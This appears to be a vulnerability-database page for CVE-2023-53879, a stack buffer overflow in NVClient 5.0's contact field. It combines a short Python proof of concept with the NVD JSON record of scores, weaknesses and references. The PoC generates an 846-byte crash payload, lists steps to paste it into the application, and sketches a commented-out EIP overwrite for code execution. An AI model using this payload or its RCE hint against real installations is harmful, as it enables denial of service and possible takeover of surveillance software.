CVE-2023-53879

#!/usr/bin/env python3 # CVE-2023-53879 PoC - NVClient 5.0 Stack Buffer Overflow # Description: Stack buffer overflow in user configuration contact field # CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H import struct def generate_payload(): """ Generate malicious payload for NVClient 5.0 contact field overflow Payload overwrites 846 bytes of stack memory causing DoS """ # Contact field buffer overflow - 846 bytes to overwrite stack payload_size = 846 # Create payload that will trigger overflow # Using repeating pattern to identify overflow location payload = b'A' * payload_size # Optional: Add controlled EIP overwrite (for RCE variant) # eip_offset = 800 # Offset to EIP on stack # eip_value = struct.pack('<I', 0x41414141) # Overwrite with controlled address # payload = payload[:eip_offset] + eip_value + payload[eip_offset+4:] return payload def simulate_exploit(): """ Simulate the exploitation process This PoC demonstrates the buffer overflow in contact field """ payload = generate_payload() print(f"[*] Generating payload for CVE-2023-53879") print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Payload hex: {payload.hex()}") # In real attack scenario: # 1. Copy payload to clipboard # 2. Open NVClient 5.0 # 3. Navigate to user configuration settings # 4. Find the 'Contact' field # 5. Paste the payload (Ctrl+V) # 6. Application crashes with stack corruption return payload if __name__ == "__main__": simulate_exploit()

{"cve": {"id": "CVE-2023-53879", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:50.700", "lastModified": "2025-12-18T22:36:50.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVClient 5.0 contains a stack buffer overflow vulnerability in the user configuration contact field that allows attackers to crash the application. Attackers can overwrite 846 bytes of memory by pasting a crafted payload into the contact box, causing a denial of service condition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eyemaxsystems:nvclient:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "4ED95BC0-9F6D-47F2-9072-20C8E3B65856"}]}]}], "references": [{"url": "http://download.eyemaxdvr.com/DVST%20ST%20SERIES/CMS/Video%20Surveillance%20Management%20Software(V5.0).pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51700", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nvclient-stack-buffer-overflow-vulnerability-via-user-configuration", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "http://download.eyemaxdvr.com/DVST%20ST%20SERIES/CMS/Video%20Surveillance%20Management%20Software(V5.0).pdf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51700", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}